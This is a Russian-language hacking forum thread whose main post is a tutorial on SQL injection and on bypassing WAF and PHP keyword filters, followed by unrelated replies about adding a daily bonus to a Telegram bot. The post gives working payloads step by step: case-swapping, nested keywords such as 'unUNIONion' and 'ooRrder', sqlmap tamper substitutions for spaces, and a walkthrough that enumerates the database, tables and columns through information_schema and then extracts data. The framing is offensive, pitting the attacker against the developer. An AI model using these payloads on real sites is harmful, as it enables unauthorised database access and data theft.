Перейти к публикации

21tw21

SQL INJECTION от новичка до профессионала

Рекомендованные сообщения

Для начало стоит понимать, что WAF это некое средство защиты для сайта, которое проверяет входящие запросы и фильтрует их. Также разработчик может поставить свои фильтры с помощью PHP кода и регулярных выражений. То-есть в чем задача разработчика, он знает, что хакер использует такие ключевые выражения как: union, select, database, or, and и тому подобное. Проще всего показать суть задачи разраба в текстовом редакторе...

2tOhez6.png

То есть заменяем эти слова на пустоту без учета регистра.

QGifX8y.png

Получается вот такая "полезная" нагрузка , которая не сработает. Но представим, что разработчик кривой и забыл указать, что без учета регистра заменять. То есть вот так!

SfpBdUU.png

Тогда мы можем просто написать uNion Select Database, ВЕДЬ SQL язык регистронезавимый. Давайте перейдем к случаю, если регистр отсутствует.

Тогда мы можем обойти этот фильтр.То есть , что происходит удаляются слова , верно ? Значит мы можем по сути разбить одно ключевое слово на два и всунуть между ними полное слово. Тогда полное слово заменится на пустоту, произойдет конкатенация ( объединение) строк и запрос сработает. То есть например вот так:

vukKq9U.png

И вот что будет:

IY2M3N4.png

То есть запрос сработает. Мы обошли фильтр:)

Полезно знать также аналог дефолтного синтаксиса вашей СУБД ( у меня MySql) например

or = ||
and = %26%26
-- - = ;0x00
database = schema

И если наш запрос не срабатывает, то просто меняем синтаксис нашего запроса.

Но что делать, если разраб просто запретит использовать пробелы. По сути мы можем использовать sqlmap tamper для обхода WAF, просто подобрав нужный с помощью софта atlas или любого другого, но они не совсем корректно показывают какие тамперы срабатывают, а какие нет. Поэтому нужно учиться самостоятельно. Аналоги пробелов:

appendnullbyte.py
Function: Space ==> %00
bluecoat.py
Function: Space ==> %09
halfversionedmorekeywords.py
Function: Space ==> /*!0
space2comment.py
Function: Space ==> /**/
space2dash.py
Function: Space==> -nVNaVoPYeva% 0A
Platform:MSSQL、SQLite
space2mssqlblank.py
Function: Space ==> %23%0A
Platform: Mssql、Mysql
space2mysqlblank.py
Function: Space ==> %2B, %0D, %0C
Platform: Mysql5.1
space2mysqldash.py
Function: Space==> –%0A
Platform: Mssql、Mysql

Вообщем вариантом куча. Приступим к практике.

Практика

d473e9e8-c9a9-4b84-9653-b3cc869e730f.png

Допустим есть вот такой сайтик и уязвимость в GET параметре. Введем одинарную кавычку, чтобы убедиться в этом:)

05ltDjy.png

Попробуем определить кол-во колонок и заодно обрамление , кто не знает , что такое обрамление читайте предыдущую мою статью.Вводим в уязвимый параметр:

'order by 1,2,3,4,5,6,7,8 -- -

Можно больше цифр.

BbrQfyB.png

Что я могу сказать, что блокируется оператор or. Попробуем поменять регистр на Or.

z4OXQb4.png

Опять мимо. Значит делаем загрузку по-другому 'ooRrder by 1,2,3,4,5,6,7,8 -- -

9Yh4PdX.png

Мы обошли фильтр, но полезная нагрузка не отработала, т.к обрамление подобрано неверно. Меняем запрос на:

') ooRrder by 1,2,3,4,5,6,7,8 -- -

D8vn3su.png

Отлично.Что мы узнали? Во первых для всех последующих запросов обрамление будет ') И бд содержит одну колонку, а также блокируется оператор or. Теперь давайте определим название бд. Попробуем вот так:

') union select database() -- -

yVYKYD7.png

union тоже блочится. Меняем запрос:

') unUNIONion select database() -- -

YAQQ22H.png

Попробуем определить название таблиц. Как мы знаем union и or ЗАПРЕЩЕНЫ. Поэтому составляем вот такой запрос:

') unUNIONion select table_name from infoorrmation_schema.tables where table_schema = 'Grisha' -- -

Если таблиц больше одной , то добавляем limit , Т.К одну таблицу мы получили , то вторую можем получить вот так:

') unUNIONion select table_name from infoorrmation_schema.tables where table_schema = 'Grisha' limit 1,1 -- -

Теперь можно получить и название этой одной колонки...

') unUNIONion select column_name from infoORrmation_schema.columns where table_name = 'oORrbuz' -- -

SQXwXhR.png

У нас есть название бд, таблицы, колонки. Теперь можно и забрать содержимое:

') unUNIONion select id from Grisha.oORrbuz  limit 0,1  -- -

Что мы узнали для техники UNION:

1) С помощью order by МЫ определяем кол-во колонок в запросе, которые будут использоваться, а в таблице их может быть хоть 100.

2) Кол-во колонок должно совпадать для UNION , если два , то два меньше или больше нельзя, будет ошибка.

3) UNION имеет непредсказуемый вывод и может меняться параметр где угодно.

vVcxUfk.png
Изменено пользователем 21tw21

Поделиться сообщением


Ссылка на сообщение
13.03.2023 в 09:34, Nagibator_1488 сказал:

сылка мертвая

Нет

Поделиться сообщением


Ссылка на сообщение

Кто нибудь подскажет как добавить в бота ежедневный бонус который можно получить один раз в день, например +20 рублей на баланс, но при условии что этот бонус можно получить только если на балансе 0 рублей. Python, aiogram

Поделиться сообщением


Ссылка на сообщение
9 часов назад, Шымкент сказал:

Кто нибудь подскажет как добавить в бота ежедневный бонус который можно получить один раз в день, например +20 рублей на баланс, но при условии что этот бонус можно получить только если на балансе 0 рублей. Python, aiogram

Библиотека таймер нужна и сделать проверку на баланс если баланс больше 0 то не может, а если 0 то он даёт

Поделиться сообщением


Ссылка на сообщение
13 часов назад, kreepton666 сказал:

Библиотека таймер нужна и сделать проверку на баланс если баланс больше 0 то не может, а если 0 то он даёт

Через sqlite выдаешь баланс

Поделиться сообщением


Ссылка на сообщение
15.03.2023 в 11:06, Шымкент сказал:

Кто нибудь подскажет как добавить в бота ежедневный бонус который можно получить один раз в день, например +20 рублей на баланс, но при условии что этот бонус можно получить только если на балансе 0 рублей. Python, aiogram

Могу сделать за копейку

Поделиться сообщением


Ссылка на сообщение

Создайте аккаунт или войдите в него для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Войти

Уже зарегистрированы? Войдите здесь.

Войти сейчас

×
×
  • Создать...